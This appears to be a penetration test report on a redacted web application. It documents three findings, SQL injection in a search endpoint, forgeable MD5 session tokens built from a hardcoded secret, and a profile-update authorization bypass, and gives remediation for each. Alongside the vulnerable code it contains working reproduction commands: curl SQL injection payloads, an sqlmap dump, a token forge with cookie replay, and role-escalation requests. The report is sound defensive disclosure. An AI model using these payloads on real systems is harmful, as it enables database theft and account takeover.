Penetration Test Report

Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

The search endpoint passes user input through stripHtml() which removes HTML tags but does not escape SQL metacharacters. The sanitized value is then interpolated directly into a SQL query string.

Source Code

// src/controllers/userController.js:47
const searchUsers = async (req, res) => {
  const query = stripHtml(req.query.q);
  const results = await db.query(
    `SELECT id, name, email FROM users WHERE name LIKE '%${query}%'`
  );
  return res.json(results);
};

Reproduction

# Confirm injection — returns all 12,847 users
curl "https://app.████████.com/api/v2/users/search?q=test'%20OR%201=1--"
# HTTP/2 200 | Body: [{"id":1,"name":"Admin",...}, ... 12847 records]

# Extract database version
curl "https://app.████████.com/api/v2/users/search?q=test'%20UNION%20SELECT%20NULL,version(),NULL--"
# Response body: [{"name":"PostgreSQL 15.4 on x86_64-pc-linux-gnu"}]

# Full extraction via sqlmap
sqlmap -u "https://app.████████.com/api/v2/users/search?q=test" -p q \
  --dbms=postgresql --tables --batch
# [12 tables found: users, sessions, orders, payments, ...]

Impact

Unauthenticated full database extraction including password hashes (bcrypt — slow to crack but still a breach), emails, roles, payment references. GDPR/breach notification obligation triggered.

Remediation

• Use parameterized queries: db.query('SELECT ... WHERE name LIKE $1', [`%${q}%`])
• Add input validation restricting q to [a-zA-Z0-9\s]
• Enforce query result pagination (max 50 results)
• Post-fix: rotate all user passwords, issue breach notification if required by policy

Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

Session tokens are generated deterministically from the user's email concatenated with a hardcoded secret, then MD5-hashed. Any attacker who knows a user's email can compute their token offline without authentication.

Source Code

// src/services/authService.js:23
function generateSessionToken(email) {
  const seed = email + 'APP_SECRET_2024';
  return crypto.createHash('md5').update(seed).digest('hex');
}

Reproduction

# Compute admin token offline
echo -n "admin@████████.comAPP_SECRET_2024" | md5sum
# 8a4f2e9b1c3d5e7f9a0b2c4d6e8f0a1b

# Access admin dashboard without login
curl -H "Cookie: session=8a4f2e9b1c3d5e7f9a0b2c4d6e8f0a1b" \
  https://app.████████.com/api/v2/admin/dashboard
# HTTP/2 200 | {"users_count":12847,"revenue":"$2.4M","pending_orders":342}

Impact

Any user's session can be hijacked knowing only their email. Combined with user enumeration via RDL-001, all accounts are compromisable.

Remediation

• Replace with crypto.randomBytes(32).toString('hex')
• Move secrets to environment variables, rotate immediately
• Regenerate tokens on authentication and at 15-minute intervals
• Invalidate all existing sessions immediately after deploying fix

Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Description

The profile update endpoint accepts a user ID in the URL path but does not verify the authenticated user owns that profile. Any authenticated user can modify any other user's profile, including the role field.

Reproduction

# Authenticated as user ID 847 (regular user)
# Modify admin user (ID 1) role
curl -X PUT https://app.████████.com/api/v2/users/1/profile \
  -H "Cookie: session=████" -H "Content-Type: application/json" \
  -d '{"role":"user"}'
# HTTP/2 200 | Admin demoted

# Elevate own account to admin
curl -X PUT https://app.████████.com/api/v2/users/847/profile \
  -H "Cookie: session=████" -H "Content-Type: application/json" \
  -d '{"role":"admin"}'
# HTTP/2 200 | Now admin

Impact

Any authenticated user can grant themselves admin privileges, demote other admins, modify any user's email/name/role. Full authorization bypass.

Remediation

• Enforce req.user.id === params.id on all user-specific endpoints
• Remove role from user-editable fields — admin role changes via separate admin-only endpoint
• Add authorization middleware: requireOwnerOrAdmin()